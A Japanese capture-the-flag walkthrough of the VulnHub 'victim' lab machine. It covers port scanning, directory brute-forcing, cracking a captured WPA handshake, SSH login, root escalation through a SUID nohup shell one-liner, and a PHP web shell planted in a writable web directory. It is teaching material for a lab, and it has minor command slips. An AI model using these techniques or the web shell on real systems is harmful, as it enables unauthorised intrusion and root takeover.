はじめに
この記事で出来るようになること
- Victimマシンの起動
- ターゲットのIPアドレスの特定/ポートスキャン
- Webサイトの確認(gobuster)
- キャプチャーファイルの調査(Wireshark)
- SSH接続/権限昇格
- 最終フラグのゲット
対象読者
セキュリティやハッキングの学習を始めたい方
今回のゴール
rootユーザーに権限昇格し、フラグをゲットする
Step1. victimマシンの起動
1-1. victimのダウンロード
下のリンクからvictimをダウンロードしていきます。
URL:https://www.vulnhub.com/entry/victim-1,469/

ダウンロードが失敗する方は、Download (Mirror) のほうを試してみてください。
1-2. Virtualboxにvictimの仮想マシン作成
VirtualBoxを起動し、メニューのファイル > 仮想アライアンスのインポートを選びます。

ファイルにダウンロードしたvictimのファイルを指定して、次に進みます。

設定画面では、仮想マシンの名前とMACアドレスのポリシーがすべてのアダプターのMACアドレスを含むを選択して、完了ボタンを押します。
これでvictimの仮想マシンが作成されました。
1-3. victim仮想マシンの起動
作成したvictimの仮想マシンを起動してください。
注意 (仮想マシンのネットワーク設定)
アダプター1がブリッジアダプターになっているとvirtualbox内のマシン同士で通信が取れなくなるため、必ずホストオンリーアダプターにしてください。
Step2. ターゲットのIPアドレスの特定/ポートスキャン
2-1. 自身のIPアドレスの特定
今回もまず最初に、自分のIPアドレスを確認していきます。
$ ip a
実行結果

ParrotOS自身のアドレスは192.168.56.104であることが分かりました。
2-2. ターゲットIPアドレスの特定
自分のIPアドレスが192.168.56.104だと分かったので、同じネットワークにいるターゲットIPアドレスを探します。
# 192.168.56.0/24のネットワークにあるIPアドレスの一覧を表示する
$ sudo netdiscover -i enp0s3 -r 192.168.56.0/24
実行結果

victimのアドレスは、192.168.56.111だと分かりました。
💡 IPアドレス特定についての詳しい解説
ネットワークの仕組みや、表示される3つのIPアドレスの正体については、以前の記事
ゼロから始めるハッキング・ラボの作り方 No.2 で詳細に解説しています。
「どれがターゲットか見分けがつかない!」という方はぜひそちらも参考にしてください。
2-3. ポートスキャン
ターゲットIPアドレスが特定できたので、ポートスキャンを実行していきます。
$ sudo nmap -sV -Pn -p- 192.168.56.111 -oN nmap.txt
実行結果

ポート80/8080:HTTPサービスとポート22:SSHサービスが起動しているので、そこから攻撃していきたいと思います。
Step3: Webサイトの確認 / 不正ログイン
ポートスキャンで HTTP(80番ポート) が開いているので、Webサイトを確認します。
ParrotOSでFirefoxを開き、URLバーに http://192.168.56.111 を入力してアクセスします。

すると、No configuration file found and no installation code available. Exiting...というメッセージが表示されました。
他に情報が無いので、アクセスできるファイルやディレクトリを調査していきます。
3-1. アクセスできるファイルを列挙
Gobusterというブルートフォースツールを使って、アクセスできるファイルやディレクトリーを列挙します。
💡 Gobusterについての詳しい解説
Gobusterについては、以前の記事 ゼロから始めるハッキング・ラボの作り方 No.3 で詳細に解説しています。
$ gobuster dir -u http://192.168.56.111 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt
今回は、/dirbusterディレクトリにあるdirectory-list-2.3-small.txtという辞書ファイルを使用しています。
💡 なぜ-xを使うのか
Webサーバー上の重要なファイル(バックアップファイルや設定ファイル、開発中のスクリプトなど)は、単なるディレクトリ名(/admin など)ではなく、ファイル名(/config.php や /robots.txt など)として存在していることが多いです。
辞書ファイルには基本的に「単語(secret や login)」しか書かれていません。
そのため、-x を使って拡張子を補ってあげないと、せっかくサーバー上に login.php があっても見落としてしまうことになります。
注意点(スキャン時間に影響します)
-x php,html,txt のように3つの拡張子を指定すると、試行回数が 「ワードリストの単語数 × 4倍」 に跳ね上がり、スキャン完了までに少し時間がかかるようになります。
実行結果

沢山のファイルが表示されます。上記の画像はそのほんの一部に過ぎません。
全てを解説すると長くなるので一部のファイルだけ紹介していきます。
3-2. robots.txtの調査
robots.txtファイルがあると分かっているので、中身を調査していきます。
FirefoxのURLバーに http://192.168.56.111/robots.txt を入力してアクセスします。
💡 robots.txtとは?
robots.txt とは、検索エンジンのクローラー(GoogleやYahoo!などの情報収集ロボット)に対して、「どのページを検索結果に載せてよくて、どのページを巡回・収集してはいけないか」を指示するための設定ファイルです。
- 🤖 クローラーの役割: 世界中のWebサイトを自動で巡回し、ページの情報を集めて検索順位を決めるシステム。
- 🚫
robots.txtの役割: 「管理画面」や「テスト用ページ」など、検索結果に出てきてほしくないURLへの巡回をブロック(制御)する。
📌 ペネトレーションテストでの重要ポイント
Webサイトの管理者は「検索エンジンに見せたくないページ(ログイン画面、バックアップディレクトリ、機密ページなど)」を robots.txt の除外リストに書き込みます。
つまり攻撃者視点で見ると、robots.txtを確認するだけで「管理者が隠したがっている重要なページや管理画面のURL」を一発で特定できるという宝の山になります!
実行結果

User-agent: と書いてあるところで制御の対象となるクローラーを指定しています。
*(アスタリスク)はすべてのクローラーが対象という意味になります。
Disallow: と書いてあるところでクローラーの巡回を拒否するディレクトリやファイルを指定してます。
Disallowにあるh@ck3rz!ファイルを覗いてみます。
URLバーに http://192.168.56.111/h@ck3rz! を入力してアクセスします。
実行結果

Not Foundと表示されてしまいました。
一応、!や@などの特殊記号をURLエンコードして検索しても変わらなかったので、そもそもファイルがまだ存在していないようです。
3-3. ポート8080の調査
ポートスキャンで HTTP(8080番ポート) が開いているので、そっちのWebサイトを確認します。URLバーに http://192.168.56.111:8080 を入力してアクセスします。
実行結果

こちらもページが無いとエラーになるのでgobusterを使ってアクセスできるファイルやディレクトリを調査します。
$ gobuster dir -u http://192.168.56.111:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt
実行結果

passwords.txtがあることが分かったので、URLバーに http://192.168.56.111:8080/passwords.txt を入力してアクセスします。

ファイルにはTry Harder!と記載されているだけでした。
これはダミーのようです……
3-4. ポート8999の調査
ポートスキャンの際に8999ポートも開いていたので、そちらを調査していきます。
URLバーに http://192.168.56.111:8999/ を入力してアクセスします。

すると、ファイル一覧が表示され、ファイル名からWordPressのファイルであることが分かります。その中に、WPA-01.capファイルがあるので、ダウンロードします。
まず、wpa-01.capを右クリックし、「Copy Link」を選択します。
💡 wpa-01.cap とは?
wpa-01.cap は、Wi-Fiの暗号化キー(WPA/WPA2)の解析やパケット分析を行う際に、通信データをキャプチャ(収集)して保存したファイル(pcap形式)の代表的な名称です。
- 📡 拡張子(.cap / .pcap): Wiresharkや airodump-ng などのネットワーク解析ツールで標準的に使用されるキャプチャデータ形式です。
- 🔑 解析に必要なデータ: このファイルの中には、端末とアクセスポイントが接続する際に交わされる 「4-wayハンドシェイク」 と呼ばれる認証データが含まれています。
📌 なぜこのファイルが必要なのか?
Wi-Fiの暗号化パスワードを解読(クラック)するツール(aircrack-ng や hashcat など)は、アクセスポイントへ直接攻撃するのではなく、この .cap ファイル内に保存されたハンドシェイクデータに対して辞書攻撃を実行します。
そのため、Wi-Fiのセキュリティ検証において「有効なハンドシェイクを含んだ .cap ファイルを取得すること」が最初の重要なステップとなります。
Step4. キャプチャファイルの解析
4-1. キャプチャファイルのダウンロード
先ほど、コピーしたwpa-01.capをwgetコマンドを使ってParrotOSにダウンロードしていきます。
$ wget http://192.168.56.111:8999/WPA-01.cap
実行結果

lsコマンドで確認すると、しっかりダウンロードができていることが確認できます。
4-2. キャプチャファイルの調査
解析する前にダウンロードしたファイルの中身をfileコマンドを使って確認して行きます。
$ file WPA-01.cap
実行結果

PCAP形式のキャプチャーファイルであることが分かります。
次にcapinfosコマンドを使って全体的な基本情報(取得日時,ファイルサイズなど)を確認して行きます。
$ capinfos WPA-01.cap
4-3. Wiresharkでキャプチャーファイルの調査
WiresharkというツールでWPA-01.capファイルを開き、具体的なパケット情報を確認して行きます。
左上のアプリケーション > 検索バーでWと打ち込むとWiresharkが2番目に表示されるのでクリックして起動します。

開くのに管理者権限が必要なので、起動時にパスワードを要求されます。

Wiresharkを起動したら、上のメニューのファイル > 開く を選び、WPA-01.capファイルを指定します。

ディレクトリに移動するには、左側のコンピュータを選択し、右側に/が表示されたら、そこを起点にしてダブルクリックで進んでいきます。
WPA-01.capファイルを指定したら、開くボタンをクリックします。
メニューの統計 > プロトコル階層を選ぶとプロトコル階層統計画面が表示されます。

無線LANのパケットデータだけが含まれていることが分かります。
次に、メイン画面に戻りNo,1のパケットのデータを見ていきます。

IEEE 802.11b Wireless Managementと書かれているため、無線LANのパケットであることが分かります。さらに中身を見ていくとSSIDがdlinkであることと、暗号方式がWPAバージョン1であることが分かります。
ここまでわかれば十分なのでWiresharkを終了します。
4-4. 無線LANのパスワードを解析する
Aircrack-ngを使用して、辞書攻撃でパスワードを解析していきます。
辞書ファイルはrockyou.txtを使用します。
$ aircrack-ng WPA-01.cap -w /usr/share/wordlists/rockyou.txt
💡 Aircrack-ng とは?
Aircrack-ng は、Wi-Fi(無線LAN)のセキュリティ評価や脆弱性検証を行うための代表的なオープンソース・ツールスイートです。
単一のコマンドではなく、電波の監視、パケットの収集、認証のテスト、暗号キーの解析など、目的ごとに用意された複数のツール群で構成されています。
🛠️ 主な構成ツールと役割
| ツール名 | 役割・主な機能 |
|---|---|
aircrack-ng |
キャプチャファイル(.cap)に対して辞書攻撃を行い、Wi-Fiパスワード(WPA/WPA2など)を解読するメインの解析ツール。 |
airodump-ng |
周囲のWi-Fi電波をスキャンし、アクセスポイントの情報や通信パケットをファイルに保存(キャプチャ)するツール。 |
aireplay-ng |
パケットを生成・送信してトラフィックを発生させたり、ハンドシェイク取得用に再認証を促すパケットを送信するツール。 |
airmon-ng |
無線LANカードを「モニターモード(周囲の全電波を受信・監視するモード)」に切り替えるための設定ツール。 |
📌 なぜセキュリティ学習(CTF・ペネトレーションテスト)で使われるのか?
Wi-Fiの暗号化方式(WPA2/WPA3)が「安易なパスワード設定」や「旧式の暗号化方式(WEP等)」によってどれだけ容易に破られてしまうかを検証するために広く利用されています。
前述の wpa-01.cap に含まれるハンドシェイクデータを aircrack-ng に読み込ませ、単語リストと照合させることで、パスワードの強度をチェックします。
実行結果

KEY FOUND!と表示されれば、パスワード解析に成功しています。
今回は数秒で解析が完了し、パスワードがp4sswordだということが分かりました。
Step5. SSH接続/権限昇格
ここまでの手順でSSIDとパスワードを特定することができました。
SSH接続するためのユーザー名とパスワードが分かりませんが、SSIDとパスワードがSSH接続に使用するものと同じかもしれないので、とりあえずSSH接続をしていきます。
5-1. SSH接続
$ dlink@192.168.56.111
実行結果

途中で、Are you sure you want to continue connectingと表示されますが、yesで大丈夫です。
プロンプトが返ってきたので、SSHでのログインに成功しました。
5-2. 現状把握
sudo -lコマンドを使用して、sudoコマンドで実行可能なコマンドを調べていきます。
$ sudo -l
実行結果

/usr/bin/TryHarder!というプログラムはパスワードなしで実行できるように設定されていることが分かります。
何ができるのかls -alコマンドを使って詳細を調べてみます。
$ ls -al /usr/bin/TryHarder!
実行結果

No such file or directoryと表示され、/usr/bin/TryHarder!というファイルが存在しないことが分かりました。
作者は/etc/sudoersファイルにメッセージを書いただけの可能性があります……
5-3. 権限昇格
findコマンドを使用して、SUIDが設定されているファイルを検索していきます。
💡 SUIDについての詳しい解説
SUID設定については、以前の記事 ゼロから始めるハッキング・ラボの作り方 No.4 で詳細に解説しています。
$ find / -perm -4000 -ls 2> /dev/null
実行結果

SUIDが設定されているファイルが沢山表示されましたが、今回はnohupコマンドを使用して権限昇格していきます。
💡 nohup コマンドによる特権昇格
nohup は本来、ターミナルを閉じたりログアウトしたりしても、バックグラウンドで実行中のプログラムが停止(SIGHUPシグナルの受信)しないようにするためのコマンドです。
しかし、この nohup に SUID(実行時に所有者権限で動作する設定)が付与されている場合、その特権(-p モード)を利用して root 権限の対話型シェルを呼び出す ことが可能になります。
nohupコマンドを利用して管理者権限のシェルを起動させることで権限昇格していきたいと思います。
$ nohup /bin/sh -p -c "sh -p < $(tty) > $(tty) 2> $(tty)"
-
/bin/sh -p -c "..."
新しいシェル(/bin/sh)を起動して、ダブルクォーテーション(" ")の中身を実行します。
ここで重要なのが -p オプション(特権モード) です。通常、シェルは実行したユーザーの権限で動きますが、-p を付与すると、実行ファイルに「所有者の権限で動かす(SetUID)」などの特殊な権限が設定されていた場合に、その強力な権限(root など)を維持したままシェルを起動します。 -
sh -p < $(tty) > $(tty) 2> $(tty)
$(tty) は「現在自分が使っているターミナルのデバイス名(例: /dev/pts/0)」を返すコマンドです。それぞれの記号は以下の意味を持ちます。-
< $(tty):標準入力(キーボードからの入力)を現在のターミナルに固定します。 -
> $(tty):標準出力(画面への表示)を現在のターミナルに固定します。 -
2> $(tty):標準エラー出力(エラー画面)を現在のターミナルに固定します。
-
💡 なぜ $(tty) を指定するのか?
通常、nohup を使ってコマンドをバックグラウンド実行すると、キーボードからの標準入力を受け付けなくなったり、画面への標準出力が nohup.out というファイルへ自動的にリダイレクト(保存)されてしまいます。
しかし、このコマンドでは入出力のすべてを $(tty)(現在操作しているターミナル画面) に強制的にバインド(結合)させています。
その結果、以下のような非常に特異な状態が作り出されます。
- 🛡️ 非デタッチ状態: プロセスが終了・停止しない安定したプロセス構造を保持する
- 👑 特権維持: -p オプションにより、root などの所有者権限を維持し続ける
- ⌨️ 対話操作が可能: 現在のターミナル画面を通じて、手元からのコマンド入力をリアルタイムで受け付け・表示できる
このように、本来はバックグラウンド処理用の nohup を 「手元でリアルタイム操作できる特権対話型シェル」 へと変換するために $(tty) が使われています。
実行結果

nohup: ignoring input and appending output to 'nohup.out' というメッセージが表示されますが、これは実行した際に表示される決まり文句のようなものなので、気にする必要はありません。
Step6. フラグの取得
権限昇格ができたので、lsコマンドとcatコマンドを使用してフラグを取得していきます。
$ ls /root
$ cat /root/flag.txt
SUIDを使わないで権限昇格する方法
脆弱なアップローダーを悪用することでSUDIを使用しなくても権限昇格することができます。
Step1. ポート9000の確認
まず、ポートスキャンの際に9000番が開いていたので、URLバーに http://192.168.56.111:9000/ を入力してアクセスします。

Boltページが表示され、Uncaught Exception.Bolt Database driver error. というエラーメッセージが出てきます。
これはデータベースへのアクセスに問題があるため、エラーが発生しています。
このことから、データベースへのアクセスはうまくいきませんが、ポート9000のサービスは正常に動作していることが分かります。
Step2 アクセスできるファイルを列挙
gobusterを使ってアクセスできるファイルやディレクトリを調査します。
$ gobuster dir -u http://192.168.56.111:9000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -xphp,html,txt -b 500,404
実行結果

index.phpとfilesが見つかったので実際にアクセスしていきます。
index.phpはアクセスしても何も表示されませんでしたが、filesは画面にNo. と表示されました。

もう少し、filesについて調べていきます。
Step3 filesの調査
Linuxサーバーにおいて /var/www はWebコンテンツの標準的な配置先です。
よって、/var/wwwのディレクトリ内から探していきます。
$ find /var/www -name "files" 2>/dev/null
実行結果

複数の結果が表示されましたが、ほとんどが共通して/var/www/boltにあることが分かります。
ls -alコマンドを使って、/var/www/bolt/publicを調査するとフルパーミッション設定になっているfilesディレクトリを見つけることができました。
$ ls -al /var/www/bolt/public
実行結果

フルパーミッションのディレクトリはdlinkユーザーでも書き込むことができます。
書き込み可能な/var/www/bolt/public/filesディレクトリが見つかったので、このディレクトリ内を調べます。

index.htmlと.htaccessファイルが存在するため、これらの内容を確認して行きます。

すると、index.htmlがhttp://192.168.56.111:9000/files と同じ内容であることが分かります。
Step4 Webシェルを設置する
これまでのことから、dlinkユーザーでも/var/www/bolt/public/filesディレクトリにファイルを設置し、そのファイルにブラウザからアクセス可能ということが分かりました。
Webシェルを設置するとブラウザを介して、シェルにアクセスすることができるので、PHPのWebシェルを作成していきます。
$ nano shell.php
nanoを使って、shell.phpを作成し、外部プログラムを実行するプログラムを書いていきます。
//shell.phpの中身↓
<?php
system($_GET['cmd']);
?>
$_GET['cmd'] は、URLのクエリパラメータ(例: ?cmd=...)から渡された値を受け取ります。
system(...) は、受け取った文字列を、Webサーバーが動いているOSのシェル(bashなど)に直接渡し、システムコマンドとして実行して結果を出力するPHP関数です。
Step5 Webシェル使用したコマンドの実行
ブラウザでhttp://192.168.56.111:9000/files/shell.php?cmd=id にアクセスします。
cmd=以降にコマンドを指定します。
idコマンドを指定すると「uid=0(root)」と表示されます。ルート権限で実行されていることが分かります。

rootディレクトリ内を調べるために、http://192.168.56.111:9000/files/shell.php?cmd=ls /rootにアクセスします。

そこにはflag.txtファイルとsnapが存在します。
flag.txtの中身をlsコマンドを使って確認して行きます。

結果として犬の文字列が表示されますが、ブラウザでは結果が見ずらいのでページのソースを確認して行きます。


